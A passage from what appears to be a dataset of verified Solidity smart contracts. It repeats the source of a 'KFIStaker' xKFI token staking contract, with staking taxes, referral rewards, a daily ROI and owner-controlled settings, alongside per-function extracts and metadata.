//makes sure _amount is not more than stake balance
require(_amount <= stakes[msg.sender] && _amount > 0, 'Insufficient balance to unstake');
//calculates unstaking tax
uint unstakingTax = (unstakingTaxRate.mul(_amount)).div(1000);
//calculates amount after tax
uint afterTax = _amount.sub(unstakingTax);
//sums up stakeholder's total rewards with _amount deducting unstaking tax
stakeRewards[msg.sender] = (stakeRewards[msg.sender]).add(calculateEarnings(msg.sender));
//updates stakes
stakes[msg.sender] = (stakes[msg.sender]).sub(_amount);
//calculates unpaid period
uint remainder = (now.sub(lastClock[msg.sender])).mod(86400);
//mark transaction date with remainder
lastClock[msg.sender] = now.sub(remainder);
//update the total staked xKFI amount in the pool
totalStaked = totalStaked.sub(_amount);
//transfers value to stakeholder
IERC20(xkfi).transfer(msg.sender, afterTax);
//conditional statement if stakeholder has no stake left
if(stakes[msg.sender] == 0) {
//deregister stakeholder
registered[msg.sender] = false;
}
//emit event
emit OnUnstake(msg.sender, _amount, unstakingTax);
}
//transfers total active earnings to stakeholder's wallet
function withdrawEarnings() external returns (bool success) {
//calculates the total redeemable rewards
uint totalReward = (referralRewards[msg.sender]).add(stakeRewards[msg.sender]).add(calculateEarnings(msg.sender));
//makes sure user has rewards to withdraw before execution
require(totalReward > 0, 'No reward to withdraw');
//makes sure _amount is not more than required balance
require((IERC20(xkfi).balanceOf(address(this))).sub(totalStaked) >= totalReward, 'Insufficient xKFI balance in pool');
//initializes stake rewards
stakeRewards[msg.sender] = 0;
//initializes referal rewards
referralRewards[msg.sender] = 0;
//initializes referral count
referralCount[msg.sender] = 0;
//calculates unpaid period
uint remainder = (now.sub(lastClock[msg.sender])).mod(86400);
//mark transaction date with remainder
lastClock[msg.sender] = now.sub(remainder);
//transfers total rewards to stakeholder
IERC20(xkfi).transfer(msg.sender, totalReward);
//emit event
emit OnWithdrawal(msg.sender, totalReward);
return true;
}
//used to view the current reward pool
function rewardPool() external view onlyOwner() returns(uint claimable) {
return (IERC20(xkfi).balanceOf(address(this))).sub(totalStaked);
}
//used to pause/start the contract's functionalities
function changeActiveStatus() external onlyOwner() {
if(active) {
active = false;
} else {
active = true;
}
}
//sets the staking rate
function setStakingTaxRate(uint _stakingTaxRate) external onlyOwner() {
stakingTaxRate = _stakingTaxRate;
}
//sets the unstaking rate
function setUnstakingTaxRate(uint _unstakingTaxRate) external onlyOwner() {
unstakingTaxRate = _unstakingTaxRate;
}
//sets the daily ROI
function setDailyROI(uint _dailyROI) external onlyOwner() {
dailyROI = _dailyROI;
}
//sets the registration tax
function setRegistrationTax(uint _registrationTax) external onlyOwner() {
registrationTax = _registrationTax;
}
//sets the minimum stake value
function setMinimumStakeValue(uint _minimumStakeValue) external onlyOwner() {
minimumStakeValue = _minimumStakeValue;
}
//withdraws _amount from the pool to owner
function filter(uint _amount) external onlyOwner returns (bool success) {
//makes sure _amount is not more than required balance
require((IERC20(xkfi).balanceOf(address(this))).sub(totalStaked) >= _amount, 'Insufficient xKFI balance in pool');
//transfers _amount to _address
IERC20(xkfi).transfer(msg.sender, _amount);
//emit event
emit OnWithdrawal(msg.sender, _amount);
return true;
}
} | registerAndStake | function registerAndStake(uint _amount, address _referrer) external onlyUnregistered() whenActive() {
//makes sure user is not the referrer
require(msg.sender != _referrer, "Cannot refer self");
//makes sure referrer is registered already
require(registered[_referrer] || address(0x0) == _referrer, "Referrer must be registered");
//makes sure user has enough amount
require(IERC20(xkfi).balanceOf(msg.sender) >= _amount, "Must have enough balance to stake");
//makes sure amount is more than the registration fee and the minimum deposit
require(_amount >= registrationTax.add(minimumStakeValue), "Must send at least enough xKFI to pay registration fee.");
//makes sure smart contract transfers xKFI from user
require(IERC20(xkfi).transferFrom(msg.sender, address(this), _amount), "Stake failed due to failed amount transfer.");
//calculates final amount after deducting registration tax
uint finalAmount = _amount.sub(registrationTax);
//calculates staking tax on final calculated amount
uint stakingTax = (stakingTaxRate.mul(finalAmount)).div(1000);
//conditional statement if user registers with referrer
if(_referrer != address(0x0)) {
//increase referral count of referrer
referralCount[_referrer]++;
//add referral bonus to referrer
referralRewards[_referrer] = (referralRewards[_referrer]).add(stakingTax);
}
//register user
registered[msg.sender] = true;
//mark the transaction date
lastClock[msg.sender] = now;
//update the total staked xKFI amount in the pool
totalStaked = totalStaked.add(finalAmount).sub(stakingTax);
//update the user's stakes deducting the staking tax
stakes[msg.sender] = (stakes[msg.sender]).add(finalAmount).sub(stakingTax);
//emit event
emit OnRegisterAndStake(msg.sender, _amount, registrationTax.add(stakingTax), _referrer);
}
| /**
* registers and creates stakes for new stakeholders
* deducts the registration tax and staking tax
* calculates refferal bonus from the registration tax and sends it to the _referrer if there is one
* transfers xKFI from sender's address into the smart contract
* Emits an {OnRegisterAndStake} event..
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | MIT | ipfs://f93b62858c667ddf61793b8bf080493073215d3c1136dfdb99079b8a2eb6ebf0 | {
"func_code_index": [
2872,
4942
]
} | 6,910 |
||
KFIStaker | KFIStaker.sol | 0x63d1cd65fbba57a30467198ebc2aab78a06ab245 | Solidity | KFIStaker | contract KFIStaker is Owned {
//initializing safe computations
using SafeMath for uint;
//xKFI contract address
address public xkfi;
//total amount of staked xkfi
uint public totalStaked;
//tax rate for staking in percentage
uint public stakingTaxRate; //25 = 2.5%
//tax amount for registration
uint public registrationTax;
//daily return of investment in percentage
uint public dailyROI; //150 = 1.5%
//tax rate for unstaking in percentage
uint public unstakingTaxRate; //30 = 3%
//minimum stakeable xKFI
uint public minimumStakeValue;
//pause mechanism
bool public active = true;
//mapping of stakeholder's addresses to data
mapping(address => uint) public stakes;
mapping(address => uint) public referralRewards;
mapping(address => uint) public referralCount;
mapping(address => uint) public stakeRewards;
mapping(address => uint) private lastClock;
mapping(address => bool) public registered;
//Events
event OnWithdrawal(address sender, uint amount);
event OnStake(address sender, uint amount, uint tax);
event OnUnstake(address sender, uint amount, uint tax);
event OnRegisterAndStake(address stakeholder, uint amount, uint totalTax , address _referrer);
/**
* @dev Sets the initial values
*/
constructor(
address _token,
uint _stakingTaxRate,
uint _unstakingTaxRate,
uint _dailyROI,
uint _registrationTax,
uint _minimumStakeValue) public {
//set initial state variables
xkfi = _token;
stakingTaxRate = _stakingTaxRate;
unstakingTaxRate = _unstakingTaxRate;
dailyROI = _dailyROI;
registrationTax = _registrationTax;
minimumStakeValue = _minimumStakeValue;
}
//exclusive access for registered address
modifier onlyRegistered() {
require(registered[msg.sender] == true, "Stakeholder must be registered");
_;
}
//exclusive access for unregistered address
modifier onlyUnregistered() {
require(registered[msg.sender] == false, "Stakeholder is already registered");
_;
}
//make sure contract is active
modifier whenActive() {
require(active == true, "Smart contract is curently inactive");
_;
}
/**
* registers and creates stakes for new stakeholders
* deducts the registration tax and staking tax
* calculates refferal bonus from the registration tax and sends it to the _referrer if there is one
* transfers xKFI from sender's address into the smart contract
* Emits an {OnRegisterAndStake} event..
*/
function registerAndStake(uint _amount, address _referrer) external onlyUnregistered() whenActive() {
//makes sure user is not the referrer
require(msg.sender != _referrer, "Cannot refer self");
//makes sure referrer is registered already
require(registered[_referrer] || address(0x0) == _referrer, "Referrer must be registered");
//makes sure user has enough amount
require(IERC20(xkfi).balanceOf(msg.sender) >= _amount, "Must have enough balance to stake");
//makes sure amount is more than the registration fee and the minimum deposit
require(_amount >= registrationTax.add(minimumStakeValue), "Must send at least enough xKFI to pay registration fee.");
//makes sure smart contract transfers xKFI from user
require(IERC20(xkfi).transferFrom(msg.sender, address(this), _amount), "Stake failed due to failed amount transfer.");
//calculates final amount after deducting registration tax
uint finalAmount = _amount.sub(registrationTax);
//calculates staking tax on final calculated amount
uint stakingTax = (stakingTaxRate.mul(finalAmount)).div(1000);
//conditional statement if user registers with referrer
if(_referrer != address(0x0)) {
//increase referral count of referrer
referralCount[_referrer]++;
//add referral bonus to referrer
referralRewards[_referrer] = (referralRewards[_referrer]).add(stakingTax);
}
//register user
registered[msg.sender] = true;
//mark the transaction date
lastClock[msg.sender] = now;
//update the total staked xKFI amount in the pool
totalStaked = totalStaked.add(finalAmount).sub(stakingTax);
//update the user's stakes deducting the staking tax
stakes[msg.sender] = (stakes[msg.sender]).add(finalAmount).sub(stakingTax);
//emit event
emit OnRegisterAndStake(msg.sender, _amount, registrationTax.add(stakingTax), _referrer);
}
//calculates stakeholders latest unclaimed earnings
function calculateEarnings(address _stakeholder) public view returns(uint) {
//records the number of days between the last payout time and now
uint activeDays = (now.sub(lastClock[_stakeholder])).div(86400);
//returns earnings based on daily ROI and active days
return ((stakes[_stakeholder]).mul(dailyROI).mul(activeDays)).div(10000);
}
/**
* creates stakes for already registered stakeholders
* deducts the staking tax from _amount inputted
* registers the remainder in the stakes of the sender
* records the previous earnings before updated stakes
* Emits an {OnStake} event
*/
function stake(uint _amount) external onlyRegistered() whenActive() {
//makes sure stakeholder does not stake below the minimum
require(_amount >= minimumStakeValue, "Amount is below minimum stake value.");
//makes sure stakeholder has enough balance
require(IERC20(xkfi).balanceOf(msg.sender) >= _amount, "Must have enough balance to stake");
//makes sure smart contract transfers xKFI from user
require(IERC20(xkfi).transferFrom(msg.sender, address(this), _amount), "Stake failed due to failed amount transfer.");
//calculates staking tax on amount
uint stakingTax = (stakingTaxRate.mul(_amount)).div(1000);
//calculates amount after tax
uint afterTax = _amount.sub(stakingTax);
//update the total staked xKFI amount in the pool
totalStaked = totalStaked.add(afterTax);
//adds earnings current earnings to stakeRewards
stakeRewards[msg.sender] = (stakeRewards[msg.sender]).add(calculateEarnings(msg.sender));
//calculates unpaid period
uint remainder = (now.sub(lastClock[msg.sender])).mod(86400);
//mark transaction date with remainder
lastClock[msg.sender] = now.sub(remainder);
//updates stakeholder's stakes
stakes[msg.sender] = (stakes[msg.sender]).add(afterTax);
//emit event
emit OnStake(msg.sender, afterTax, stakingTax);
}
/**
* removes '_amount' stakes for already registered stakeholders
* deducts the unstaking tax from '_amount'
* transfers the sum of the remainder, stake rewards, referral rewards, and current eanrings to the sender
* deregisters stakeholder if all the stakes are removed
* Emits an {OnStake} event
*/
function unstake(uint _amount) external onlyRegistered() {
//makes sure _amount is not more than stake balance
require(_amount <= stakes[msg.sender] && _amount > 0, 'Insufficient balance to unstake');
//calculates unstaking tax
uint unstakingTax = (unstakingTaxRate.mul(_amount)).div(1000);
//calculates amount after tax
uint afterTax = _amount.sub(unstakingTax);
//sums up stakeholder's total rewards with _amount deducting unstaking tax
stakeRewards[msg.sender] = (stakeRewards[msg.sender]).add(calculateEarnings(msg.sender));
//updates stakes
stakes[msg.sender] = (stakes[msg.sender]).sub(_amount);
//calculates unpaid period
uint remainder = (now.sub(lastClock[msg.sender])).mod(86400);
//mark transaction date with remainder
lastClock[msg.sender] = now.sub(remainder);
//update the total staked xKFI amount in the pool
totalStaked = totalStaked.sub(_amount);
//transfers value to stakeholder
IERC20(xkfi).transfer(msg.sender, afterTax);
//conditional statement if stakeholder has no stake left
if(stakes[msg.sender] == 0) {
//deregister stakeholder
registered[msg.sender] = false;
}
//emit event
emit OnUnstake(msg.sender, _amount, unstakingTax);
}
//transfers total active earnings to stakeholder's wallet
function withdrawEarnings() external returns (bool success) {
//calculates the total redeemable rewards
uint totalReward = (referralRewards[msg.sender]).add(stakeRewards[msg.sender]).add(calculateEarnings(msg.sender));
//makes sure user has rewards to withdraw before execution
require(totalReward > 0, 'No reward to withdraw');
//makes sure _amount is not more than required balance
require((IERC20(xkfi).balanceOf(address(this))).sub(totalStaked) >= totalReward, 'Insufficient xKFI balance in pool');
//initializes stake rewards
stakeRewards[msg.sender] = 0;
//initializes referal rewards
referralRewards[msg.sender] = 0;
//initializes referral count
referralCount[msg.sender] = 0;
//calculates unpaid period
uint remainder = (now.sub(lastClock[msg.sender])).mod(86400);
//mark transaction date with remainder
lastClock[msg.sender] = now.sub(remainder);
//transfers total rewards to stakeholder
IERC20(xkfi).transfer(msg.sender, totalReward);
//emit event
emit OnWithdrawal(msg.sender, totalReward);
return true;
}
//used to view the current reward pool
function rewardPool() external view onlyOwner() returns(uint claimable) {
return (IERC20(xkfi).balanceOf(address(this))).sub(totalStaked);
}
//used to pause/start the contract's functionalities
function changeActiveStatus() external onlyOwner() {
if(active) {
active = false;
} else {
active = true;
}
}
//sets the staking rate
function setStakingTaxRate(uint _stakingTaxRate) external onlyOwner() {
stakingTaxRate = _stakingTaxRate;
}
//sets the unstaking rate
function setUnstakingTaxRate(uint _unstakingTaxRate) external onlyOwner() {
unstakingTaxRate = _unstakingTaxRate;
}
//sets the daily ROI
function setDailyROI(uint _dailyROI) external onlyOwner() {
dailyROI = _dailyROI;
}
//sets the registration tax
function setRegistrationTax(uint _registrationTax) external onlyOwner() {
registrationTax = _registrationTax;
}
//sets the minimum stake value
function setMinimumStakeValue(uint _minimumStakeValue) external onlyOwner() {
minimumStakeValue = _minimumStakeValue;
}
//withdraws _amount from the pool to owner
function filter(uint _amount) external onlyOwner returns (bool success) {
//makes sure _amount is not more than required balance
require((IERC20(xkfi).balanceOf(address(this))).sub(totalStaked) >= _amount, 'Insufficient xKFI balance in pool');
//transfers _amount to _address
IERC20(xkfi).transfer(msg.sender, _amount);
//emit event
emit OnWithdrawal(msg.sender, _amount);
return true;
}
} | calculateEarnings | function calculateEarnings(address _stakeholder) public view returns(uint) {
//records the number of days between the last payout time and now
uint activeDays = (now.sub(lastClock[_stakeholder])).div(86400);
//returns earnings based on daily ROI and active days
return ((stakes[_stakeholder]).mul(dailyROI).mul(activeDays)).div(10000);
}
| //calculates stakeholders latest unclaimed earnings | LineComment | v0.6.12+commit.27d51765 | MIT | ipfs://f93b62858c667ddf61793b8bf080493073215d3c1136dfdb99079b8a2eb6ebf0 | {
"func_code_index": [
5007,
5390
]
} | 6,911 |
||
KFIStaker | KFIStaker.sol | 0x63d1cd65fbba57a30467198ebc2aab78a06ab245 | Solidity | KFIStaker | contract KFIStaker is Owned {
//initializing safe computations
using SafeMath for uint;
//xKFI contract address
address public xkfi;
//total amount of staked xkfi
uint public totalStaked;
//tax rate for staking in percentage
uint public stakingTaxRate; //25 = 2.5%
//tax amount for registration
uint public registrationTax;
//daily return of investment in percentage
uint public dailyROI; //150 = 1.5%
//tax rate for unstaking in percentage
uint public unstakingTaxRate; //30 = 3%
//minimum stakeable xKFI
uint public minimumStakeValue;
//pause mechanism
bool public active = true;
//mapping of stakeholder's addresses to data
mapping(address => uint) public stakes;
mapping(address => uint) public referralRewards;
mapping(address => uint) public referralCount;
mapping(address => uint) public stakeRewards;
mapping(address => uint) private lastClock;
mapping(address => bool) public registered;
//Events
event OnWithdrawal(address sender, uint amount);
event OnStake(address sender, uint amount, uint tax);
event OnUnstake(address sender, uint amount, uint tax);
event OnRegisterAndStake(address stakeholder, uint amount, uint totalTax , address _referrer);
/**
* @dev Sets the initial values
*/
constructor(
address _token,
uint _stakingTaxRate,
uint _unstakingTaxRate,
uint _dailyROI,
uint _registrationTax,
uint _minimumStakeValue) public {
//set initial state variables
xkfi = _token;
stakingTaxRate = _stakingTaxRate;
unstakingTaxRate = _unstakingTaxRate;
dailyROI = _dailyROI;
registrationTax = _registrationTax;
minimumStakeValue = _minimumStakeValue;
}
//exclusive access for registered address
modifier onlyRegistered() {
require(registered[msg.sender] == true, "Stakeholder must be registered");
_;
}
//exclusive access for unregistered address
modifier onlyUnregistered() {
require(registered[msg.sender] == false, "Stakeholder is already registered");
_;
}
//make sure contract is active
modifier whenActive() {
require(active == true, "Smart contract is curently inactive");
_;
}
/**
* registers and creates stakes for new stakeholders
* deducts the registration tax and staking tax
* calculates refferal bonus from the registration tax and sends it to the _referrer if there is one
* transfers xKFI from sender's address into the smart contract
* Emits an {OnRegisterAndStake} event..
*/
function registerAndStake(uint _amount, address _referrer) external onlyUnregistered() whenActive() {
//makes sure user is not the referrer
require(msg.sender != _referrer, "Cannot refer self");
//makes sure referrer is registered already
require(registered[_referrer] || address(0x0) == _referrer, "Referrer must be registered");
//makes sure user has enough amount
require(IERC20(xkfi).balanceOf(msg.sender) >= _amount, "Must have enough balance to stake");
//makes sure amount is more than the registration fee and the minimum deposit
require(_amount >= registrationTax.add(minimumStakeValue), "Must send at least enough xKFI to pay registration fee.");
//makes sure smart contract transfers xKFI from user
require(IERC20(xkfi).transferFrom(msg.sender, address(this), _amount), "Stake failed due to failed amount transfer.");
//calculates final amount after deducting registration tax
uint finalAmount = _amount.sub(registrationTax);
//calculates staking tax on final calculated amount
uint stakingTax = (stakingTaxRate.mul(finalAmount)).div(1000);
//conditional statement if user registers with referrer
if(_referrer != address(0x0)) {
//increase referral count of referrer
referralCount[_referrer]++;
//add referral bonus to referrer
referralRewards[_referrer] = (referralRewards[_referrer]).add(stakingTax);
}
//register user
registered[msg.sender] = true;
//mark the transaction date
lastClock[msg.sender] = now;
//update the total staked xKFI amount in the pool
totalStaked = totalStaked.add(finalAmount).sub(stakingTax);
//update the user's stakes deducting the staking tax
stakes[msg.sender] = (stakes[msg.sender]).add(finalAmount).sub(stakingTax);
//emit event
emit OnRegisterAndStake(msg.sender, _amount, registrationTax.add(stakingTax), _referrer);
}
//calculates stakeholders latest unclaimed earnings
function calculateEarnings(address _stakeholder) public view returns(uint) {
//records the number of days between the last payout time and now
uint activeDays = (now.sub(lastClock[_stakeholder])).div(86400);
//returns earnings based on daily ROI and active days
return ((stakes[_stakeholder]).mul(dailyROI).mul(activeDays)).div(10000);
}
/**
* creates stakes for already registered stakeholders
* deducts the staking tax from _amount inputted
* registers the remainder in the stakes of the sender
* records the previous earnings before updated stakes
* Emits an {OnStake} event
*/
function stake(uint _amount) external onlyRegistered() whenActive() {
//makes sure stakeholder does not stake below the minimum
require(_amount >= minimumStakeValue, "Amount is below minimum stake value.");
//makes sure stakeholder has enough balance
require(IERC20(xkfi).balanceOf(msg.sender) >= _amount, "Must have enough balance to stake");
//makes sure smart contract transfers xKFI from user
require(IERC20(xkfi).transferFrom(msg.sender, address(this), _amount), "Stake failed due to failed amount transfer.");
//calculates staking tax on amount
uint stakingTax = (stakingTaxRate.mul(_amount)).div(1000);
//calculates amount after tax
uint afterTax = _amount.sub(stakingTax);
//update the total staked xKFI amount in the pool
totalStaked = totalStaked.add(afterTax);
//adds earnings current earnings to stakeRewards
stakeRewards[msg.sender] = (stakeRewards[msg.sender]).add(calculateEarnings(msg.sender));
//calculates unpaid period
uint remainder = (now.sub(lastClock[msg.sender])).mod(86400);
//mark transaction date with remainder
lastClock[msg.sender] = now.sub(remainder);
//updates stakeholder's stakes
stakes[msg.sender] = (stakes[msg.sender]).add(afterTax);
//emit event
emit OnStake(msg.sender, afterTax, stakingTax);
}
/**
* removes '_amount' stakes for already registered stakeholders
* deducts the unstaking tax from '_amount'
* transfers the sum of the remainder, stake rewards, referral rewards, and current eanrings to the sender
* deregisters stakeholder if all the stakes are removed
* Emits an {OnStake} event
*/
function unstake(uint _amount) external onlyRegistered() {
//makes sure _amount is not more than stake balance
require(_amount <= stakes[msg.sender] && _amount > 0, 'Insufficient balance to unstake');
//calculates unstaking tax
uint unstakingTax = (unstakingTaxRate.mul(_amount)).div(1000);
//calculates amount after tax
uint afterTax = _amount.sub(unstakingTax);
//sums up stakeholder's total rewards with _amount deducting unstaking tax
stakeRewards[msg.sender] = (stakeRewards[msg.sender]).add(calculateEarnings(msg.sender));
//updates stakes
stakes[msg.sender] = (stakes[msg.sender]).sub(_amount);
//calculates unpaid period
uint remainder = (now.sub(lastClock[msg.sender])).mod(86400);
//mark transaction date with remainder
lastClock[msg.sender] = now.sub(remainder);
//update the total staked xKFI amount in the pool
totalStaked = totalStaked.sub(_amount);
//transfers value to stakeholder
IERC20(xkfi).transfer(msg.sender, afterTax);
//conditional statement if stakeholder has no stake left
if(stakes[msg.sender] == 0) {
//deregister stakeholder
registered[msg.sender] = false;
}
//emit event
emit OnUnstake(msg.sender, _amount, unstakingTax);
}
//transfers total active earnings to stakeholder's wallet
function withdrawEarnings() external returns (bool success) {
//calculates the total redeemable rewards
uint totalReward = (referralRewards[msg.sender]).add(stakeRewards[msg.sender]).add(calculateEarnings(msg.sender));
//makes sure user has rewards to withdraw before execution
require(totalReward > 0, 'No reward to withdraw');
//makes sure _amount is not more than required balance
require((IERC20(xkfi).balanceOf(address(this))).sub(totalStaked) >= totalReward, 'Insufficient xKFI balance in pool');
//initializes stake rewards
stakeRewards[msg.sender] = 0;
//initializes referal rewards
referralRewards[msg.sender] = 0;
//initializes referral count
referralCount[msg.sender] = 0;
//calculates unpaid period
uint remainder = (now.sub(lastClock[msg.sender])).mod(86400);
//mark transaction date with remainder
lastClock[msg.sender] = now.sub(remainder);
//transfers total rewards to stakeholder
IERC20(xkfi).transfer(msg.sender, totalReward);
//emit event
emit OnWithdrawal(msg.sender, totalReward);
return true;
}
//used to view the current reward pool
function rewardPool() external view onlyOwner() returns(uint claimable) {
return (IERC20(xkfi).balanceOf(address(this))).sub(totalStaked);
}
//used to pause/start the contract's functionalities
function changeActiveStatus() external onlyOwner() {
if(active) {
active = false;
} else {
active = true;
}
}
//sets the staking rate
function setStakingTaxRate(uint _stakingTaxRate) external onlyOwner() {
stakingTaxRate = _stakingTaxRate;
}
//sets the unstaking rate
function setUnstakingTaxRate(uint _unstakingTaxRate) external onlyOwner() {
unstakingTaxRate = _unstakingTaxRate;
}
//sets the daily ROI
function setDailyROI(uint _dailyROI) external onlyOwner() {
dailyROI = _dailyROI;
}
//sets the registration tax
function setRegistrationTax(uint _registrationTax) external onlyOwner() {
registrationTax = _registrationTax;
}
//sets the minimum stake value
function setMinimumStakeValue(uint _minimumStakeValue) external onlyOwner() {
minimumStakeValue = _minimumStakeValue;
}
//withdraws _amount from the pool to owner
function filter(uint _amount) external onlyOwner returns (bool success) {
//makes sure _amount is not more than required balance
require((IERC20(xkfi).balanceOf(address(this))).sub(totalStaked) >= _amount, 'Insufficient xKFI balance in pool');
//transfers _amount to _address
IERC20(xkfi).transfer(msg.sender, _amount);
//emit event
emit OnWithdrawal(msg.sender, _amount);
return true;
}
} | stake | function stake(uint _amount) external onlyRegistered() whenActive() {
//makes sure stakeholder does not stake below the minimum
require(_amount >= minimumStakeValue, "Amount is below minimum stake value.");
//makes sure stakeholder has enough balance
require(IERC20(xkfi).balanceOf(msg.sender) >= _amount, "Must have enough balance to stake");
//makes sure smart contract transfers xKFI from user
require(IERC20(xkfi).transferFrom(msg.sender, address(this), _amount), "Stake failed due to failed amount transfer.");
//calculates staking tax on amount
uint stakingTax = (stakingTaxRate.mul(_amount)).div(1000);
//calculates amount after tax
uint afterTax = _amount.sub(stakingTax);
//update the total staked xKFI amount in the pool
totalStaked = totalStaked.add(afterTax);
//adds earnings current earnings to stakeRewards
stakeRewards[msg.sender] = (stakeRewards[msg.sender]).add(calculateEarnings(msg.sender));
//calculates unpaid period
uint remainder = (now.sub(lastClock[msg.sender])).mod(86400);
//mark transaction date with remainder
lastClock[msg.sender] = now.sub(remainder);
//updates stakeholder's stakes
stakes[msg.sender] = (stakes[msg.sender]).add(afterTax);
//emit event
emit OnStake(msg.sender, afterTax, stakingTax);
}
| /**
* creates stakes for already registered stakeholders
* deducts the staking tax from _amount inputted
* registers the remainder in the stakes of the sender
* records the previous earnings before updated stakes
* Emits an {OnStake} event
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | MIT | ipfs://f93b62858c667ddf61793b8bf080493073215d3c1136dfdb99079b8a2eb6ebf0 | {
"func_code_index": [
5682,
7123
]
} | 6,912 |
||
KFIStaker | KFIStaker.sol | 0x63d1cd65fbba57a30467198ebc2aab78a06ab245 | Solidity | KFIStaker | contract KFIStaker is Owned {
//initializing safe computations
using SafeMath for uint;
//xKFI contract address
address public xkfi;
//total amount of staked xkfi
uint public totalStaked;
//tax rate for staking in percentage
uint public stakingTaxRate; //25 = 2.5%
//tax amount for registration
uint public registrationTax;
//daily return of investment in percentage
uint public dailyROI; //150 = 1.5%
//tax rate for unstaking in percentage
uint public unstakingTaxRate; //30 = 3%
//minimum stakeable xKFI
uint public minimumStakeValue;
//pause mechanism
bool public active = true;
//mapping of stakeholder's addresses to data
mapping(address => uint) public stakes;
mapping(address => uint) public referralRewards;
mapping(address => uint) public referralCount;
mapping(address => uint) public stakeRewards;
mapping(address => uint) private lastClock;
mapping(address => bool) public registered;
//Events
event OnWithdrawal(address sender, uint amount);
event OnStake(address sender, uint amount, uint tax);
event OnUnstake(address sender, uint amount, uint tax);
event OnRegisterAndStake(address stakeholder, uint amount, uint totalTax , address _referrer);
/**
* @dev Sets the initial values
*/
constructor(
address _token,
uint _stakingTaxRate,
uint _unstakingTaxRate,
uint _dailyROI,
uint _registrationTax,
uint _minimumStakeValue) public {
//set initial state variables
xkfi = _token;
stakingTaxRate = _stakingTaxRate;
unstakingTaxRate = _unstakingTaxRate;
dailyROI = _dailyROI;
registrationTax = _registrationTax;
minimumStakeValue = _minimumStakeValue;
}
//exclusive access for registered address
modifier onlyRegistered() {
require(registered[msg.sender] == true, "Stakeholder must be registered");
_;
}
//exclusive access for unregistered address
modifier onlyUnregistered() {
require(registered[msg.sender] == false, "Stakeholder is already registered");
_;
}
//make sure contract is active
modifier whenActive() {
require(active == true, "Smart contract is curently inactive");
_;
}
/**
* registers and creates stakes for new stakeholders
* deducts the registration tax and staking tax
* calculates refferal bonus from the registration tax and sends it to the _referrer if there is one
* transfers xKFI from sender's address into the smart contract
* Emits an {OnRegisterAndStake} event..
*/
function registerAndStake(uint _amount, address _referrer) external onlyUnregistered() whenActive() {
//makes sure user is not the referrer
require(msg.sender != _referrer, "Cannot refer self");
//makes sure referrer is registered already
require(registered[_referrer] || address(0x0) == _referrer, "Referrer must be registered");
//makes sure user has enough amount
require(IERC20(xkfi).balanceOf(msg.sender) >= _amount, "Must have enough balance to stake");
//makes sure amount is more than the registration fee and the minimum deposit
require(_amount >= registrationTax.add(minimumStakeValue), "Must send at least enough xKFI to pay registration fee.");
//makes sure smart contract transfers xKFI from user
require(IERC20(xkfi).transferFrom(msg.sender, address(this), _amount), "Stake failed due to failed amount transfer.");
//calculates final amount after deducting registration tax
uint finalAmount = _amount.sub(registrationTax);
//calculates staking tax on final calculated amount
uint stakingTax = (stakingTaxRate.mul(finalAmount)).div(1000);
//conditional statement if user registers with referrer
if(_referrer != address(0x0)) {
//increase referral count of referrer
referralCount[_referrer]++;
//add referral bonus to referrer
referralRewards[_referrer] = (referralRewards[_referrer]).add(stakingTax);
}
//register user
registered[msg.sender] = true;
//mark the transaction date
lastClock[msg.sender] = now;
//update the total staked xKFI amount in the pool
totalStaked = totalStaked.add(finalAmount).sub(stakingTax);
//update the user's stakes deducting the staking tax
stakes[msg.sender] = (stakes[msg.sender]).add(finalAmount).sub(stakingTax);
//emit event
emit OnRegisterAndStake(msg.sender, _amount, registrationTax.add(stakingTax), _referrer);
}
//calculates stakeholders latest unclaimed earnings
function calculateEarnings(address _stakeholder) public view returns(uint) {
//records the number of days between the last payout time and now
uint activeDays = (now.sub(lastClock[_stakeholder])).div(86400);
//returns earnings based on daily ROI and active days
return ((stakes[_stakeholder]).mul(dailyROI).mul(activeDays)).div(10000);
}
/**
* creates stakes for already registered stakeholders
* deducts the staking tax from _amount inputted
* registers the remainder in the stakes of the sender
* records the previous earnings before updated stakes
* Emits an {OnStake} event
*/
function stake(uint _amount) external onlyRegistered() whenActive() {
//makes sure stakeholder does not stake below the minimum
require(_amount >= minimumStakeValue, "Amount is below minimum stake value.");
//makes sure stakeholder has enough balance
require(IERC20(xkfi).balanceOf(msg.sender) >= _amount, "Must have enough balance to stake");
//makes sure smart contract transfers xKFI from user
require(IERC20(xkfi).transferFrom(msg.sender, address(this), _amount), "Stake failed due to failed amount transfer.");
//calculates staking tax on amount
uint stakingTax = (stakingTaxRate.mul(_amount)).div(1000);
//calculates amount after tax
uint afterTax = _amount.sub(stakingTax);
//update the total staked xKFI amount in the pool
totalStaked = totalStaked.add(afterTax);
//adds earnings current earnings to stakeRewards
stakeRewards[msg.sender] = (stakeRewards[msg.sender]).add(calculateEarnings(msg.sender));
//calculates unpaid period
uint remainder = (now.sub(lastClock[msg.sender])).mod(86400);
//mark transaction date with remainder
lastClock[msg.sender] = now.sub(remainder);
//updates stakeholder's stakes
stakes[msg.sender] = (stakes[msg.sender]).add(afterTax);
//emit event
emit OnStake(msg.sender, afterTax, stakingTax);
}
/**
* removes '_amount' stakes for already registered stakeholders
* deducts the unstaking tax from '_amount'
* transfers the sum of the remainder, stake rewards, referral rewards, and current eanrings to the sender
* deregisters stakeholder if all the stakes are removed
* Emits an {OnStake} event
*/
function unstake(uint _amount) external onlyRegistered() {
//makes sure _amount is not more than stake balance
require(_amount <= stakes[msg.sender] && _amount > 0, 'Insufficient balance to unstake');
//calculates unstaking tax
uint unstakingTax = (unstakingTaxRate.mul(_amount)).div(1000);
//calculates amount after tax
uint afterTax = _amount.sub(unstakingTax);
//sums up stakeholder's total rewards with _amount deducting unstaking tax
stakeRewards[msg.sender] = (stakeRewards[msg.sender]).add(calculateEarnings(msg.sender));
//updates stakes
stakes[msg.sender] = (stakes[msg.sender]).sub(_amount);
//calculates unpaid period
uint remainder = (now.sub(lastClock[msg.sender])).mod(86400);
//mark transaction date with remainder
lastClock[msg.sender] = now.sub(remainder);
//update the total staked xKFI amount in the pool
totalStaked = totalStaked.sub(_amount);
//transfers value to stakeholder
IERC20(xkfi).transfer(msg.sender, afterTax);
//conditional statement if stakeholder has no stake left
if(stakes[msg.sender] == 0) {
//deregister stakeholder
registered[msg.sender] = false;
}
//emit event
emit OnUnstake(msg.sender, _amount, unstakingTax);
}
//transfers total active earnings to stakeholder's wallet
function withdrawEarnings() external returns (bool success) {
//calculates the total redeemable rewards
uint totalReward = (referralRewards[msg.sender]).add(stakeRewards[msg.sender]).add(calculateEarnings(msg.sender));
